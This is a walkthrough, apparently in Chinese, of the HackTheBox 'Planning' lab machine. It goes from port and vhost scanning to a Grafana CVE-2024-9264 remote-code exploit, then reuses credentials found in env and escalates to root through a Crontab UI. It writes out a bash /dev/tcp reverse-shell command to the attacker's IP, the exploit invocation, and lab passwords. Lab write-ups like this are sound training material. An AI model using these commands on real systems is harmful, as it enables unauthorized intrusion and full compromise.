HackTheBox | Planning (Easy) Write Up#

題目資訊#

Target IP Address: 10.10.11.68

Machine Information: As is common in real life pentests, you will start the Planning box with credentials for the following account: admin / 0D5oT70Fq13EvB5r

STEP 1. 資訊蒐集 Recon#

錯誤方向#

我一開始是用rustscan快速掃目標IP的port

1
$ rustscan -a 10.10.11.68 -r 1-65535
2

3
PORT   STATE SERVICE REASON
4
22/tcp open  ssh     syn-ack
5
80/tcp open  http    syn-ack

然後再用nmap去詳細檢查22,80 port資訊

1
$ nmap -A -p22,80 -sC -sV 10.10.11.68
2

3
PORT   STATE SERVICE VERSION
4
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
5
| ssh-hostkey:
6
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
7
|_  256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
8
80/tcp open  http    nginx 1.24.0 (Ubuntu)
9
|_http-server-header: nginx/1.24.0 (Ubuntu)
10
|_http-title: Did not follow redirect to http://planning.htb/
11
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

發現訪問不了http://planning.htb/因為是靶機環境的vhost。

解法為在/etc/hosts加入10.10.11.68 planning.htb，可以成功訪問，然後用dirsearch去看目錄

1
$ dirsearch -u http://planning.htb/
2

3
Target: http://10.10.11.68/
4

5
[04:46:20] Starting:
6
[04:46:24] 301 -  178B  - /js  ->  http://planning.htb/js/
7
[04:46:42] 200 -   12KB - /about.php
8
[04:47:16] 200 -   10KB - /contact.php
9
[04:47:18] 301 -  178B  - /css  ->  http://planning.htb/css/
10
[04:47:33] 301 -  178B  - /img  ->  http://planning.htb/img/
11
[04:47:38] 403 -  564B  - /js/
12
[04:47:40] 403 -  564B  - /lib/
13
[04:47:40] 301 -  178B  - /lib  ->  http://planning.htb/lib/

接下來，我花很多時間去翻裡面東西，但不存在可利用的資訊，到此我去翻別人WriteUp才發現漏掉了掃Domain。

正確方向#

這邊是使用gobuster去掃vhost

1
$ gobuster vhost -u http://planning.htb -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt --append-domain -t 50

過段時間可以找到http://granfana.planning.htb，接著修改/etc/hosts成10.10.11.68 granfana.planning.htb，即可成功訪問。

STEP 2.CVE-2024–9264 on Grafana v11.0.0#

這邊可以注意到最下方version 11，上網查資料發現存在CVE，可以直接RCE，這裡為我使用的Exploit。 https://github.com/z3k0sec/CVE-2024-9264-RCE-Exploit

Terminal 1:

1
$ python3 poc.py --url http://grafana.planning.htb --username admin --password 0D5oT70Fq13EvB5r --reverse-ip 10.10.14.123 --reverse-port 4444

Terminal 2:

1
$ nc -nlvp 4444
2
listening on [any] 4444 ...
3
connect to [10.10.14.123] from (UNKNOWN) [10.10.11.68] 44218
4
sh: 0: can't access tty; job control turned off
5
# id
6
uid=0(root) gid=0(root) groups=0(root)
7
# /bin/bash -i
8
bash: cannot set terminal process group (1): Inappropriate ioctl for device
9
bash: no job control in this shell
10
root@7ce659d667d7:~#

到此我們成功拿到一個Container的機器。

STEP 3.權限提升至 User#

經過一陣檢查可以從env裡面可以看到User帳密(13、14行)

1
# env
2
env
3
AWS_AUTH_SESSION_DURATION=15m
4
HOSTNAME=7ce659d667d7
5
PWD=/usr/share/grafana
6
AWS_AUTH_AssumeRoleEnabled=true
7
GF_PATHS_HOME=/usr/share/grafana
8
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
9
HOME=/usr/share/grafana
10
AWS_AUTH_EXTERNAL_ID=
11
SHLVL=2
12
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
13
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
14
GF_SECURITY_ADMIN_USER=enzo
15
GF_PATHS_DATA=/var/lib/grafana
16
GF_PATHS_LOGS=/var/log/grafana
17
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
18
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
19
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
20
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
21
_=/usr/bin/env

enzo/RioTecRANDEntANT!

1
$ ssh enzo@10.10.11.68
2
enzo@10.10.11.68's password:
3

4
enzo@planning:~$ ls
5
user.txt
6
enzo@planning:~$ cat user.txt
7
4177a6f2f1ffa41a3b099217ca6a7610

STEP 4.權限提升至 Root#

也是經過一陣檢查可以發現cronjobs運行在port 8000，跟明文呈現的密碼P4ssw0rdS0pRi0T3c。

接下來就訪問http://127.0.0.1:8000/，輸入`root/P4ssw0rdS0pRi0T3c`

發現Crontab UI介面可以以root執行任意command，構造一個reverse shell就可以提權至root。

1
bash -c 'exec bash -i >& /dev/tcp/10.10.14.123/4444 0>&1'

1
$ nc -nlvp 4444
2
listening on [any] 4444 ...
3
connect to [10.10.14.123] from (UNKNOWN) [10.10.11.68] 48142
4
bash: cannot set terminal process group (1193): Inappropriate ioctl for device
5
bash: no job control in this shell
6
root@planning:/# id
7
id
8
uid=0(root) gid=0(root) groups=0(root)
9
root@planning:/# cat /root/root.txt
10
cat /root/root.txt
11
692d2a5c422baaa8a483e46f6c89502a